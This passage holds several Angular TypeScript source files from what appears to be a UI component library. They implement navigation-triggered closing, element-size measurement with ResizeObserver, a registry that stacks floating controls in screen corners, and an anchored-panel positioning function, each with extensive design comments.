matters.\n *\n * On the server there is no path to compare, so every notification closes —\n * the previous behaviour, and harmless, since nothing is open there.\n */\n\n/**\n * Call `close` whenever the page underneath appears to have changed.\n *\n * Call it in a field initializer, inside an injection context; the listeners are\n * released with the component.\n *\n * ```ts\n * private readonly closeOnNav = svCloseOnNavigation(() => this.close());\n * ```\n *\n * `close` must be idempotent — it is called for every signal that arrives, and\n * two of them can describe the same navigation.\n *\n * Location notifications close only when the path changed; `popstate` and\n * `hashchange` always close. See the note above for why.\n */\nexport function svCloseOnNavigation(close: () => void): void {\n  const location = inject(SV_NAV_LOCATION);\n  const destroyRef = inject(DestroyRef);\n\n  if (typeof window === 'undefined') {\n    destroyRef.onDestroy(location.subscribe(close));\n    return;\n  }\n\n  let lastPath = window.location.pathname;\n\n  const onLocation = (): void => {\n    const path = window.location.pathname;\n    if (path === lastPath) return; // a query- or hash-only write: same page\n    lastPath = path;\n    close();\n  };\n\n  const onBrowserNavigation = (): void => {\n    // Re-baselined so the location notification that usually follows the\n    // same `popstate` is not counted as a second navigation.\n    lastPath = window.location.pathname;\n    close();\n  };\n\n  const unsubscribe = location.subscribe(onLocation);\n  window.addEventListener('popstate', onBrowserNavigation);\n  window.addEventListener('hashchange', onBrowserNavigation);\n\n  destroyRef.onDestroy(() => {\n    unsubscribe();\n    window.removeEventListener('popstate', onBrowserNavigation);\n    window.removeEventListener('hashchange', onBrowserNavigation);\n  });\n}\n","import {\n  DestroyRef,\n  computed,\n  effect,\n  inject,\n  signal,\n  type Signal,\n} from '@angular/core';\n\n/**\n * ============================================================================\n *  One measurement primitive — `X-12`, and the Layout backlog's `X-4`/`N-8`\n * ============================================================================\n *\n * Every geometry consumer needs the same thing: *how big is this, and tell me\n * when it changes.* Anchor re-measures sections (`NV-02-M4`), Breadcrumb decides\n * how many crumbs fit (`NV-03-M4`), Tabs and Mega Menu decide whether to collapse\n * (`X-11`).\n *\n * ★ This is also the Layout & Utilities `X-4`/`N-8` measurement primitive. It is\n * consumed by Affix, Splitter, Scroll Area, Watermark, Number Ticker, Expand,\n * Toolbar and the navigation families, in place of the hand-rolled\n * `ResizeObserver`s each used to carry with its own answer to throttling,\n * teardown and what \"size\" means. `N-8` asks for a choice of box, hence the\n * `box` option below.\n *\n * ── ★ The border box, not the content box ──────────────────────────────────\n * The obvious source is `entry.contentRect`, and for an overflow decision it is\n * **wrong**: `contentRect` excludes padding and border, so a strip measured that\n * way under-reports by exactly its own padding. A tab list with `px-4` decides\n * six tabs fit in the space five occupy, renders them, and overflows — and the\n * error scales with the design, so it looks like a spacing bug rather than a\n * measurement one. `borderBoxSize` is what actually occupies space.\n *\n * ── ★ The first value does not wait for the observer ───────────────────────\n * `ResizeObserver` delivers its first entry asynchronously, so a component that\n * waited for it would render one frame with a size of zero — which for an\n * overflow decision means *\"nothing fits\"*, so the first paint of every\n * responsive strip would be its fully-collapsed form, expanding a frame later.\n *\n * So the element is measured directly, with `getBoundingClientRect`, **in the\n * same pass that starts observing it**. That pass is an `effect`, so it runs on\n * the first change detection rather than at construction — which is still before\n * the first paint, and is the point that matters.\n *\n * ── Throttled, because the observer is not ─────────────────────────────────\n * A drag or an animated panel produces many callbacks per frame. Emissions are\n * coalesced to one per animation frame, which is the finest granularity a layout\n * decision can actually use.\n *\n * ⚠️ **Do not resize the observed element from a reader of this signal.** That is\n * the classic `ResizeObserver loop completed with undelivered notifications`, and\n * no amount of throttling fixes it — a feedback loop measured once per frame is\n * still a feedback loop. Measure a container and size something *else*.\n */\n\n/** A size in CSS pixels — the border box unless `box: 'content-box'` was asked for. */\nexport interface SvSize {\n  readonly width: number;\n  readonly height: number;\n}\n\n/** Zero, and what every server render reports. */\nexport const SV_SIZE_ZERO: SvSize = { width: 0, height: 0 };\n\n/** Options for {@link svElementSize}. */\nexport interface SvElementSizeOptions {\n  /**\n   * Coalesce emissions to one per this many milliseconds instead of one per\n   * animation frame.\n   *\n   * A frame is the right default — it is the finest granularity a layout\n   * decision can use — but a consumer doing real work per measurement (a\n   * reflow, a re-render of many nodes) may want less.\n   */\n  readonly throttleMs?: number;\n\n  /**\n   * Construct the observer. The test adapter `X-12` asks for, and the SSR escape\n   * hatch: return `null` and nothing is observed.\n   *\n   * @default the platform `ResizeObserver`, or `null` where there is none\n   */\n  readonly observe?: (callback: ResizeObserverCallback) => ResizeObserver | null;\n\n  /**\n   * Which box to report (`N-8`).\n   *\n   * - `'border-box'` — content + padding + border: what the element OCCUPIES,\n   *   and the right answer for every overflow decision (see above).\n   * - `'content-box'` — the area children lay out in: the right answer when\n   *   sizing something that goes INSIDE the element (a canvas, a tile grid).\n   *\n   * @default 'border-box'\n   */\n  readonly box?: 'border-box' | 'content-box';\n}\n\n/** Parse a computed length, treating anything unreadable as zero. */\nfunction px(value: string | undefined): number {\n  const n = parseFloat(value ?? '');\n  return Number.isFinite(n) ? n : 0;\n}\n\n/**\n * Measure `el` now, directly, without waiting for an observer callback.\n *\n * ⚠️ Guarded, because the measuring `effect` also runs during prerender, where\n * the server DOM may hand back an element whose `getBoundingClientRect` is\n * missing or not a function. That element is reported at zero — the same\n * answer as \"no observer\" — rather than throwing out of change detection.\n */\nfunction measure(el: Element, box: 'border-box' | 'content-box'): SvSize {\n  if (typeof el.getBoundingClientRect !== 'function') return SV_SIZE_ZERO;\n  const rect = el.getBoundingClientRect();\n  const width = rect?.width ?? 0;\n  const height = rect?.height ?? 0;\n  if (box === 'border-box') return { width, height };\n\n  // content-box = border-box − padding − border, per axis.\n  const view = el.ownerDocument?.defaultView;\n  if (!view || typeof view.getComputedStyle !== 'function') return { width, height };\n  const cs = view.getComputedStyle(el);\n  const insetX =\n    px(cs.paddingLeft) + px(cs.paddingRight) + px(cs.borderLeftWidth) + px(cs.borderRightWidth);\n  const insetY =\n    px(cs.paddingTop) + px(cs.paddingBottom) + px(cs.borderTopWidth) + px(cs.borderBottomWidth);\n  return { width: Math.max(0, width - insetX), height: Math.max(0, height - insetY) };\n}\n\n/** The content-box size out of an entry. `contentRect` IS the content box. */\nfunction contentSizeOf(entry: ResizeObserverEntry): SvSize {\n  const box = entry.contentBoxSize?.[0];\n  if (box) return { width: box.inlineSize, height: box.blockSize };\n  return { width: entry.contentRect.width, height: entry.contentRect.height };\n}\n\n/** The border-box size out of an entry, falling back for older engines. */\nfunction sizeOf(entry: ResizeObserverEntry): SvSize {\n  const box = entry.borderBoxSize?.[0];\n  if (box) return { width: box.inlineSize, height: box.blockSize };\n  // ⚠️ `contentRect` is the fallback and NOT the preference — it excludes\n  //    padding and border, so an overflow decision made on it under-measures by\n  //    exactly the element's own padding. Only reached on an engine with no\n  //    `borderBoxSize`, where it is the best available answer.\n  return { width: entry.contentRect.width, height: entry.contentRect.height };\n}\n\nfunction defaultObserve(callback: ResizeObserverCallback): ResizeObserver | null {\n  if (typeof ResizeObserver === 'undefined') return null;\n  return new ResizeObserver(callback);\n}\n\n/**\n * The border-box size of an element (or its content box, with `box`), as a\n * signal that updates when it changes.\n *\n * Call it in a field initializer, inside an injection context; the observer is\n * disconnected with the component.\n *\n * ```ts\n * private readonly strip = viewChild<ElementRef<HTMLElement>>('strip');\n * protected readonly stripSize = svElementSize(() => this.strip()?.nativeElement ?? null);\n * protected readonly crowded = computed(() => this.stripSize().width < 480);\n * ```\n *\n * ★ **Returns `{ 0, 0 }` on the server**, and a component must render sensibly\n * at that size. Zero means \"nothing fits\", so a responsive strip should treat it\n * as *\"decide later\"* rather than as *\"collapse everything\"* — otherwise every\n * prerendered page ships its fully-collapsed form and expands on hydration.\n */\nexport function svElementSize(\n  // ⚠️ Not `Signal<Element | null> | (() => Element | null)`. A `Signal` IS\n  //    callable, so that union is entirely functions: TypeScript narrows the\n  //    non-function branch to `never` and `target()` stops type-checking. One\n  //    call signature covers both, because a signal satisfies it.\n  target: () => Element | null | undefined,\n  options: SvElementSizeOptions = {},\n): Signal<SvSize> {\n  const { throttleMs, observe = defaultObserve, box = 'border-box' } = options;\n  const read = box === 'content-box' ? contentSizeOf : sizeOf;\n\n  const size = signal<SvSize>(SV_SIZE_ZERO);\n\n  let observer: ResizeObserver | null = null;\n  let observed: Element | null = null;\n  let scheduled = false;\n  let timer: ReturnType<typeof setTimeout> | null = null;\n  let frame: number | null = null;\n\n  const publish = (next: SvSize): void => {\n    // `computed`-like: identical values do not wake anybody. A strip that is\n    // re-measured on every scroll of an unrelated container should cost nothing.\n    const current = size();\n    if (current.width === next.width && current.height === next.height) return;\n    size.set(next);\n  };\n\n  const flush = (entries: readonly ResizeObserverEntry[]): void => {\n    const last = entries[entries.length - 1];\n    if (last) publish(read(last));\n  };\n\n  /**\n   * The most recent entries seen during the current window.\n   *\n   * ★★ Held outside the callback on purpose. The obvious shape — capture\n   * `entries` in the closure the first time and flush that — **publishes the\n   * FIRST size of the burst and discards the rest**, so a drag that ends at 400px\n   * settles the signal on whatever it measured at the start. That is worse than\n   * not coalescing at all: it is not a delayed answer, it is a wrong one that\n   * never corrects. Found by the throttling test, which is why it asserts the\n   * final width rather than \"eventually something\".\n   */\n  let latest: readonly ResizeObserverEntry[] = [];\n\n  const onResize: ResizeObserverCallback = (entries) => {\n    latest = entries;\n    if (scheduled) return;\n    scheduled = true;\n\n    const run = (): void => {\n      scheduled = false;\n      frame = null;\n      timer = null;\n      flush(latest);\n    };\n\n    if (throttleMs !== undefined) timer = setTimeout(run, throttleMs);\n    else if (typeof requestAnimationFrame === 'function') frame = requestAnimationFrame(run);\n    else timer = setTimeout(run);\n  };\n\n  const stop = (): void => {\n    observer?.disconnect();\n    observer = null;\n    observed = null;\n    if (frame !== null && typeof cancelAnimationFrame === 'function') cancelAnimationFrame(frame);\n    if (timer !== null) clearTimeout(timer);\n    frame = null;\n    timer = null;\n    scheduled = false;\n  };\n\n  effect(() => {\n    const el = target();\n\n    if (!el) {\n      stop();\n      size.set(SV_SIZE_ZERO);\n      return;\n    }\n    if (el === observed) return;\n\n    stop();\n    observed = el;\n\n    // ★ Measured directly, before the observer has said anything — otherwise the\n    //   first frame reports zero, which an overflow decision reads as \"nothing\n    //   fits\".\n    publish(measure(el, box));\n\n    observer = observe(onResize);\n    observer?.observe(el, { box });\n  });\n\n  inject(DestroyRef).onDestroy(stop);\n\n  return computed(() => size());\n}\n","import {\n  DestroyRef,\n  Injectable,\n  computed,\n  effect,\n  inject,\n  signal,\n  untracked,\n  type Signal,\n} from '@angular/core';\nimport { svElementSize, type SvElementSizeOptions } from './element-size';\n\n/**\n * ============================================================================\n *  One owner for the screen's corners — `X-5` / `N-7`\n * ============================================================================\n *\n * Scroll to Top, Speed Dial and affixed blocks each solved *viewport* collision\n * on their own and none of them solved *each other*. A FAB and a scroll-to-top\n * button both default to `bottom-6 right-6`; on the same page they render on top\n * of one another, and the host's chat launcher or cookie banner joins them. No\n * single component can fix that, because \"who else is in this corner\" is a fact\n * about the page, not about the component.\n *\n * So the page gets one registry. Anything that occupies a corner or an edge —\n * a kit control, or **the host's own** chat widget, cookie banner or bottom nav —\n * registers a region (anchor + size), and each registrant reads back how far it\n * must sit from the edge so that it clears everything ranked before it.\n *\n * ★★★ STACKING RULE, IN ONE SENTENCE. Within one side of the screen, a region is\n *     pushed away from the edge by every region ranked before it that it can\n *     collide with: full-width EDGE regions (`'bottom'`, `'top'`) push every\n *     corner on their side, and CORNER regions push only their own corner.\n *     Rank is `order` (lower sits nearer the edge), then registration order.\n *\n * ★★ WHY FULL-WIDTH EDGES OUTRANK CORNERS. A cookie banner or a mobile bottom\n *    nav spans the whole edge, so there is no corner beside it for a FAB to use —\n *    the FAB has to sit on top of it. The reverse is never true.\n *\n * ★ A zero-height region takes no space and adds no gap. That is also what makes\n *   the manager an SSR no-op: every measurement on the server is zero (see\n *   `svElementSize`), so every offset there is zero and the server-rendered\n *   markup matches a page with no manager at all.\n *\n * ⚠️ Safe-area insets are NOT folded into the numeric offset. `env()` has no\n *   value in script — only in CSS — so the offset is px and the inset is added\n *   in the style string by `svFloatingInset()`. The two cannot drift.\n */\n\n/** A corner a floating control sits in, or a full-width edge a host bar spans. */\nexport type SvFloatingAnchor =\n  | 'bottom-right'\n  | 'bottom-left'\n  | 'bottom-center'\n  | 'top-right'\n  | 'top-left'\n  | 'top-center'\n  | 'bottom'\n  | 'top';\n\n/**\n * Where a region ranks within its side. Lower sits nearer the edge.\n *\n * ★ The kit's own defaults are spaced so a host can slot between them: a host\n *   chat launcher at `15` sits above a Speed Dial and below Scroll to Top.\n */\nexport const SV_FLOATING_ORDER = {\n  /** Full-width host bars — bottom navigation, cookie banner. */\n  edge: 0,\n  /** A Speed Dial / FAB: the primary action keeps the corner. */\n  fab: 10,\n  /** Scroll to Top: a utility, so it yields the corner to the FAB. */\n  scrollToTop: 20,\n  /** An affixed block. */\n  affix: 30,\n} as const;\n\n/**\n * z-index bands for floating page chrome.\n *\n * ★ All deliberately BELOW `SvOverlayStackService`'s interactive base (1000): a\n *   menu, drawer or dialog must always paint over a FAB, and a FAB's own menu is\n *   one of those surfaces. Raising any of these past 999 would bury overlays\n *   under page chrome.\n */\nexport const SV_FLOATING_Z = {\n  /**\n   * ★ 30, matching the `z-30` a pinned `<sv-affix>` has always painted with.\n   *   Lowering the shipped class to match a new constant could drop a pinned\n   *   header under host content a host had already layered at 21–29, so the\n   *   constant follows the component rather than the other way round.\n   */\n  affix: 30,\n  control: 50,\n  banner: 60,\n} as const;\n\n/** The CSS for each safe-area inset, with a zero fallback. */\nexport const SV_SAFE_AREA = {\n  top: 'env(safe-area-inset-top, 0px)',\n  right: 'env(safe-area-inset-right, 0px)',\n  bottom: 'env(safe-area-inset-bottom, 0px)',\n  left: 'env(safe-area-inset-left, 0px)',\n} as const;\n\n/** One side of the viewport. */\nexport type SvSafeAreaSide = keyof typeof SV_SAFE_AREA;\n\n/** What a registrant tells the manager about itself. */\nexport interface SvFloatingRegion {\n  /** Where it sits. */\n  readonly anchor: SvFloatingAnchor;\n  /** Its occupied width in CSS px. Informational; stacking uses height. @default 0 */\n  readonly width?: number;\n  /** Its occupied height in CSS px. `0` takes no space. @default 0 */\n  readonly height?: number;\n  /** Rank within its side; lower sits nearer the edge. @default SV_FLOATING_ORDER.edge for an edge, 0 for a corner */\n  readonly order?: number;\n  /** A name for diagnostics — `data-sv-floating` and `regions()`. */\n  readonly label?: string;\n}\n\n/** A registered region, as `regions()` reports it. */\nexport interface SvFloatingRegionState extends Required<Omit<SvFloatingRegion, 'label'>> {\n  readonly id: number;\n  readonly label: string;\n}\n\n/** The registration. Update it when the region resizes; release it when it leaves. */\nexport interface SvFloatingRegionHandle {\n  readonly id: number;\n  /** How far (px) this region must sit from its edge to clear everything ranked before it. */\n  readonly offset: Signal<number>;\n  /** Change the anchor, size or order. */\n  update(patch: Partial<SvFloatingRegion>): void;\n  /** Remove the region. Idempotent. */\n  release(): void;\n}\n\n/** The side a region stacks along. */\nfunction sideOf(anchor: SvFloatingAnchor): 'top' | 'bottom' {\n  return anchor.startsWith('top') ? 'top' : 'bottom';\n}\n\nfunction isEdge(anchor: SvFloatingAnchor): boolean {\n  return anchor === 'top' || anchor === 'bottom';\n}\n\n/**\n * The floating-layer registry. Root-scoped: one page, one set of corners.\n *\n * ```ts\n * // A host's own chat launcher, so kit controls in that corner clear it:\n * const chat = inject(SvFloatingLayerService).register({\n *   anchor: 'bottom-right', height: 64, order: 15, label: 'chat',\n * });\n * // …later: chat.update({ height: 480 }); chat.release();\n * ```\n */\n@Injectable({ providedIn: 'root' })\nexport class SvFloatingLayerService {\n  /** Gap (px) kept between two stacked regions. */\n  readonly gap = 12;\n\n  private readonly _regions = signal<readonly SvFloatingRegionState[]>([]);\n  private _nextId = 0;\n\n  /** Every registered region, in registration order. Diagnostics and tests. */\n  readonly regions: Signal<readonly SvFloatingRegionState[]> = this._regions.asReadonly();\n\n  /** Register an occupied region. Release the handle when it leaves the page. */\n  register(region: SvFloatingRegion): SvFloatingRegionHandle {\n    const id = this._nextId++;\n    this._regions.update((list) => [...list, this._normalise(id, region)]);\n\n    let released = false;\n    return {\n      id,\n      offset: computed(() => this._offsetOf(id)),\n      update: (patch) => {\n        if (released) return;\n        this._regions.update((list) =>\n          list.map((r) => (r.id === id ? this._normalise(id, { ...r, ...patch }) : r)),\n        );\n      },\n      release: () => {\n        if (released) return;\n        released = true;\n        this._regions.update((list) => list.filter((r) => r.id !== id));\n      },\n    };\n  }\n\n  /**\n   * The offset an UNREGISTERED element at `anchor` would need to clear every\n   * region there — for a host that wants to read the layout without joining it.\n   */\n  offsetAt(anchor: SvFloatingAnchor): number {\n    return this._sum(this._regions(), anchor, () => true);\n  }\n\n  /**\n   * The offset a region at `anchor` with rank `order` WOULD get if it\n   * registered now (ties rank it last) — for a block that only registers once\n   * it is on screen but must decide where to go before that, e.g. an affix\n   * about to pin. Reading it first avoids a one-frame jump on registration.\n   */\n  offsetFor(anchor: SvFloatingAnchor, order: number): number {\n    const self = isEdge(anchor);\n    return this._sum(this._regions(), anchor, (other) =>\n      (isEdge(other.anchor) && !self) || other.order <= order,\n    );\n  }\n\n  /** Test seam: forget every region. */\n  reset(): void {\n    this._regions.set([]);\n  }\n\n  private _normalise(id: number, region: SvFloatingRegion): SvFloatingRegionState {\n    const finite = (n: number | undefined): number =>\n      typeof n === 'number' && Number.isFinite(n) && n > 0 ? n : 0;\n    return {\n      id,\n      anchor: region.anchor,\n      width: finite(region.width),\n      height: finite(region.height),\n      order:\n        typeof region.order === 'number' && Number.isFinite(region.order)\n          ? region.order\n          : isEdge(region.anchor) ? SV_FLOATING_ORDER.edge : 0,\n      label: region.label ?? '',\n    };\n  }\n\n  private _offsetOf(id: number): number {\n    const list = this._regions();\n    const self = list.find((r) => r.id === id);\n    if (!self) return 0;\n    const selfIndex = list.indexOf(self);\n    return this._sum(list, self.anchor, (other) => {\n      if (other.id === id) return false;\n      // Edge regions push corners regardless of rank (see the class JSDoc).\n      if (isEdge(other.anchor) && !isEdge(self.anchor)) return true;\n      if (other.order !== self.order) return other.order < self.order;\n      return list.indexOf(other) < selfIndex;\n    });\n  }\n\n  /** Total height (+ gap) of the regions at `anchor`'s side it collides with and `before` admits. */\n  private _sum(\n    list: readonly SvFloatingRegionState[],\n    anchor: SvFloatingAnchor,\n    before: (other: SvFloatingRegionState) => boolean,\n  ): number {\n    const side = sideOf(anchor);\n    let total = 0;\n    for (const other of list) {\n      if (other.height === 0 || sideOf(other.anchor) !== side) continue;\n      // A corner only collides with its own corner and with the full-width edge.\n      const collides = isEdge(anchor) ? isEdge(other.anchor) : isEdge(other.anchor) || other.anchor === anchor;\n      if (collides && before(other)) total += other.height + this.gap;\n    }\n    return total;\n  }\n}\n\n/**\n * The CSS length for an inset from `side`: a base, the manager's offset, and the\n * device safe-area inset, in one `calc()`.\n *\n * ```html\n * <div class=\"fixed right-6\" [style.bottom]=\"inset()\"></div>\n * ```\n *\n * ★ `env()` resolves to 0 unless the page sets `viewport-fit=cover`, so on every\n *   ordinary page this equals `base + offset` exactly.\n */\nexport function svFloatingInset(side: SvSafeAreaSide, basePx: number, offsetPx = 0): string {\n  const px = (Number.isFinite(basePx) ? basePx : 0) + (Number.isFinite(offsetPx) ? offsetPx : 0);\n  return `calc(${px}px + ${SV_SAFE_AREA[side]})`;\n}\n\n/** Options for {@link svFloatingRegion}. */\nexport interface SvFloatingRegionOptions {\n  /** The corner or edge; `null` does not register (contained / demo / off). */\n  readonly anchor: () => SvFloatingAnchor | null;\n  /** The element whose border box is the occupied region. */\n  readonly element: () => Element | null | undefined;\n  /** Rank within the side — a number, or a getter (e.g. an input). @default 0 */\n  readonly order?: number | (() => number);\n  /** Diagnostics label. */\n  readonly label?: string;\n  /** Passed to `svElementSize` — the measurement test adapter. */\n  readonly observe?: SvElementSizeOptions['observe'];\n}\n\n/** What {@link svFloatingRegion} gives back. */\nexport interface SvFloatingRegionRef {\n  /** Distance (px) from the edge that clears everything ranked before this. `0` when unregistered. */\n  readonly offset: Signal<number>;\n  /** Whether the region is currently registered. */\n  readonly registered: Signal<boolean>;\n}\n\n/**\n * Register an element as an occupied floating region for as long as the\n * calling component lives. Call it in a field initializer (injection context).\n *\n * Measures with `svElementSize` (border box, rAF-throttled, zero on the server),\n * keeps the registration's size current, re-registers when the anchor changes,\n * and releases on destroy.\n */\nexport function svFloatingRegion(options: SvFloatingRegionOptions): SvFloatingRegionRef {\n  const layer = inject(SvFloatingLayerService);\n  const size = svElementSize(options.element, { observe: options.observe });\n\n  let handle: SvFloatingRegionHandle | null = null;\n  let anchorOf: SvFloatingAnchor | null = null;\n  const current = signal<SvFloatingRegionHandle | null>(null);\n\n  const release = (): void => {\n    handle?.release();\n    handle = null;\n    anchorOf = null;\n    current.set(null);\n  };\n\n  effect(() => {\n    const anchor = options.anchor();\n    const { width, height } = size();\n    const order = typeof options.order === 'function' ? options.order() : options.order;\n    // ★ Untracked: registering writes the registry, and the registry is what\n    //   every offset reads. Tracking it here would re-run this effect on every\n    //   OTHER region's resize.\n    untracked(() => {\n      if (!anchor) {\n        release();\n        return;\n      }\n      if (handle && anchorOf === anchor) {\n        handle.update({ width, height, order });\n        return;\n      }\n      release();\n      handle = layer.register({ anchor, width, height, order, label: options.label });\n      anchorOf = anchor;\n      current.set(handle);\n    });\n  });\n\n  inject(DestroyRef).onDestroy(release);\n\n  return {\n    offset: computed(() => current()?.offset() ?? 0),\n    registered: computed(() => current() !== null),\n  };\n}\n","/**\n * One positioning engine for every anchored surface.\n *\n * ★★★ FOUR IMPLEMENTATIONS OF ONE ALGORITHM, DIVERGING ON EXACTLY THE PARTS\n *     THAT MATTER. Popover, Dropdown Menu and Popout each carried their own\n *     rect → flip → switch → clamp routine, and Tooltip had a static CSS class\n *     map with no measurement at all. They agreed on the easy 80%: put the\n *     panel under the trigger. They disagreed, or were silent, on every case\n *     that actually breaks — RTL, a transformed ancestor, an anchor that\n *     disappears, a cursor at the edge of the screen, where the arrow points.\n *     `X-7`.\n *\n * ★★ A PURE FUNCTION, DELIBERATELY. Everything here is arithmetic over two\n *    rectangles and a viewport, so it is testable without a browser, a DOM or\n *    a layout — which matters because the defects being fixed are all\n *    arithmetic and none of them can be reproduced in jsdom through a\n *    component. The caller measures; this decides.\n */\n\n/** The part of a `DOMRect` this engine needs. */\nexport interface SvRect {\n  readonly top: number;\n  readonly left: number;\n  readonly width: number;\n  readonly height: number;\n}\n\n/** Twelve placements: four sides, each with start / center / end alignment. */\nexport type SvPlacementSide = 'top' | 'bottom' | 'left' | 'right';\nexport type SvPlacementAlign = 'start' | 'center' | 'end';\nexport type SvPlacement =\n  | 'top' | 'top-start' | 'top-end'\n  | 'bottom' | 'bottom-start' | 'bottom-end'\n  | 'left' | 'left-start' | 'left-end'\n  | 'right' | 'right-start' | 'right-end';\n\nexport interface SvPositionRequest {\n  /** The trigger's rect, or a zero-size rect at a cursor point. */\n  readonly anchor: SvRect;\n  /** The panel's measured size. */\n  readonly panel: { readonly width: number; readonly height: number };\n  readonly placement: SvPlacement;\n  /** Gap between anchor and panel, in px. @default 8 */\n  readonly offset?: number;\n  /** Flip to the opposite side when the preferred one does not fit. @default true */\n  readonly flip?: boolean;\n  /** Minimum gap to the viewport edge, in px. @default 8 */\n  readonly margin?: number;\n  /** @default the window's inner size */\n  readonly viewport?: { readonly width: number; readonly height: number };\n  /**\n   * Mirror `start`/`end` for right-to-left text.\n   *\n   * ★ `start` means \"the edge text starts at\", which is the RIGHT edge in RTL.\n   *   Every one of the four implementations hard-coded it to the left, so a\n   *   menu on an Arabic or Hebrew page opened away from its trigger.\n   */\n  readonly rtl?: boolean;\n  /**\n   * The containing block the returned coordinates are relative to.\n   *\n   * ★★★ THIS IS `OF-12-I5`, AND IT IS NOT AN EDGE CASE ON A MODERN PAGE. A\n   *     `position: fixed` panel is normally positioned against the viewport,\n   *     so viewport-relative rects can be used directly — but ANY ancestor\n   *     with a `transform`, `filter`, `perspective`, `backdrop-filter` or\n   *     `will-change` becomes the containing block instead, and every\n   *     coordinate is then off by that element's offset. A page-transition\n   *     animation on a wrapper is enough to do it, which is why the symptom\n   *     is \"the menu is fine until the route animates\".\n   *\n   *     Pass the containing block's own rect and the result is corrected for\n   *     it. Omit it when the panel is a child of `<body>` with no transformed\n   *     ancestor, which is the common case.\n   */\n  readonly container?: SvRect | null;\n  /** Distance the arrow is kept from the panel's corners, in px. @default 16 */\n  readonly arrowInset?: number;\n}\n\nexport interface SvPositionResult {\n  /** Coordinates for the panel, relative to the containing block. */\n  readonly top: number;\n  readonly left: number;\n  /** The placement actually used, after flipping. */\n  readonly placement: SvPlacement;\n  /** Whether the panel had to be pulled back from a viewport edge. */\n  readonly clamped: boolean;\n  /** Arrow offset along the panel's cross axis, relative to the panel. */\n  readonly arrowX: number;\n  readonly arrowY: number;\n}\n\nconst DEFAULTS = { offset: 8, margin: 8, arrowInset: 16 } as const;\n\nconst sideOf = (placement: SvPlacement): SvPlacementSide =>\n  placement.split('-')[0] as SvPlacementSide;\n\nconst alignOf = (placement: SvPlacement): SvPlacementAlign => {\n  const part = placement.split('-')[1];\n  return part === 'start' || part === 'end' ? part : 'center';\n};\n\nconst compose = (side: SvPlacementSide, align: SvPlacementAlign): SvPlacement =>\n  (align === 'center' ? side : `${side}-${align}`) as SvPlacement;\n\nconst OPPOSITE: Record<SvPlacementSide, SvPlacementSide> = {\n  top: 'bottom', bottom: 'top', left: 'right', right: 'left',\n};\n\n/** Flip `start` ⇄ `end`; `center` is unchanged. */\nconst mirror = (align: SvPlacementAlign): SvPlacementAlign =>\n  align === 'start' ? 'end' : align === 'end' ? 'start' : 'center';\n\n/** Does a panel of this size fit on `side` of the anchor? */\nfunction fits(\n  side: SvPlacementSide,\n  anchor: SvRect,\n  panel: { width: number; height: number },\n  offset: number,\n  margin: number,\n  vw: number,\n  vh: number,\n): boolean {\n  switch (side) {\n    case 'bottom': return anchor.top + anchor.height + offset + panel.height + margin <= vh;\n    case 'top':    return anchor.top - offset - panel.height - margin >= 0;\n    case 'right':  return anchor.left + anchor.width + offset + panel.width + margin <= vw;\n    case 'left':   return anchor.left - offset - panel.width - margin >= 0;\n  }\n}\n\n/**\n * Where an anchored panel goes.\n *\n * Returns coordinates, the placement actually used, whether it had to be\n * clamped, and where its arrow should point.\n */\nexport function svPositionAnchored(request: SvPositionRequest): SvPositionResult {\n  const offset = request.offset ?? DEFAULTS.offset;\n  const margin = request.margin ?? DEFAULTS.margin;\n  const arrowInset = request.arrowInset ?? DEFAULTS.arrowInset;\n  const { anchor, panel } = request;\n  const vw = request.viewport?.width ?? (typeof window !== 'undefined' ? window.innerWidth : 0);\n  const vh = request.viewport?.height ?? (typeof window !== 'undefined' ? window.innerHeight : 0);\n\n  let side = sideOf(request.placement);\n  // ★ RTL mirrors the ALIGNMENT, not the side. A `bottom-start` menu opens\n  //   below its trigger in both directions; what changes is which edge they\n  //   line up on.\n  const align = request.rtl ? mirror(alignOf(request.placement)) : alignOf(request.placement);\n\n  if ((request.flip ?? true) && !fits(side, anchor, panel, offset, margin, vw, vh)) {\n    // ★★ ONLY FLIP IF THE OTHER SIDE IS ACTUALLY BETTER. Flipping into a space\n    //    that does not fit either just moves the clamping to the other end and\n    //    puts the panel over the trigger the user is looking at.\n    if (fits(OPPOSITE[side], anchor, panel, offset, margin, vw, vh)) side = OPPOSITE[side];\n  }\n\n  const anchorCenterX = anchor.left + anchor.width / 2;\n  const anchorCenterY = anchor.top + anchor.height / 2;\n\n  let top: number;\n  let left: number;\n\n  if (side === 'top' || side === 'bottom') {\n    top = side === 'bottom' ? anchor.top + anchor.height + offset : anchor.top - offset - panel.height;\n    left =\n      align === 'start' ? anchor.left\n      : align === 'end' ? anchor.left + anchor.width - panel.width\n      : anchorCenterX - panel.width / 2;\n  } else {\n    left = side === 'right' ? anchor.left + anchor.width + offset : anchor.left - offset - panel.width;\n    top =\n      align === 'start' ? anchor.top\n      : align === 'end' ? anchor.top + anchor.height - panel.height\n      : anchorCenterY - panel.height / 2;\n  }\n\n  // ★ Clamp to the viewport. `Math.max(margin, …)` on the upper bound matters\n  //   for a panel TALLER than the viewport: without it the upper bound falls\n  //   below the lower one and the panel is pinned to the bottom edge, showing\n  //   its end instead of its beginning.\n  const maxLeft = Math.max(margin, vw - panel.width - margin);\n  const maxTop = Math.max(margin, vh - panel.height - margin);\n  const clampedLeft = Math.min(Math.max(left, margin), maxLeft);\n  const clampedTop = Math.min(Math.max(top, margin), maxTop);\n  const clamped = clampedLeft !== left || clampedTop !== top;\n\n  // ★★ THE ARROW IS MEASURED FROM THE CLAMPED PANEL, NOT THE INTENDED ONE.\n  //    That is the whole point of computing it here: once a panel has been\n  //    pulled back from an edge, an arrow placed at the panel's centre no\n  //    longer points at the trigger — it points at where the panel WOULD have\n  //    been, which reads as pointing at nothing.\n  const arrowX = Math.min(\n    Math.max(anchorCenterX - clampedLeft, arrowInset),\n    Math.max(arrowInset, panel.width - arrowInset),\n  );\n  const arrowY = Math.min(\n    Math.max(anchorCenterY - clampedTop, arrowInset),\n    Math.max(arrowInset, panel.height - arrowInset),\n  );\n\n  // Correct for a containing block that is not the viewport — see `container`.\n  const originX = request.container?.left ?? 0;\n  const originY = request.container?.top ?? 0;\n\n  return {\n    top: clampedTop - originY,\n    left: clampedLeft - originX,\n    placement: compose(side, align),\n    clamped,\n    arrowX,\n    arrowY,\n  };\n}\n\n/**\n * Has the anchor stopped being something a panel can point at?\n *\n * ★★★ AN ORPHANED PANEL IS WORSE THAN A CLOSED ONE. `OF-12-I3`, `OF-11-I3`:\n *     the row a menu was opened from is deleted, or the toolbar it hangs off\n *     collapses, and the panel stays exactly where it was — floating over\n *     unrelated content, still listing actions for a thing that is gone. The\n *     caller closes on 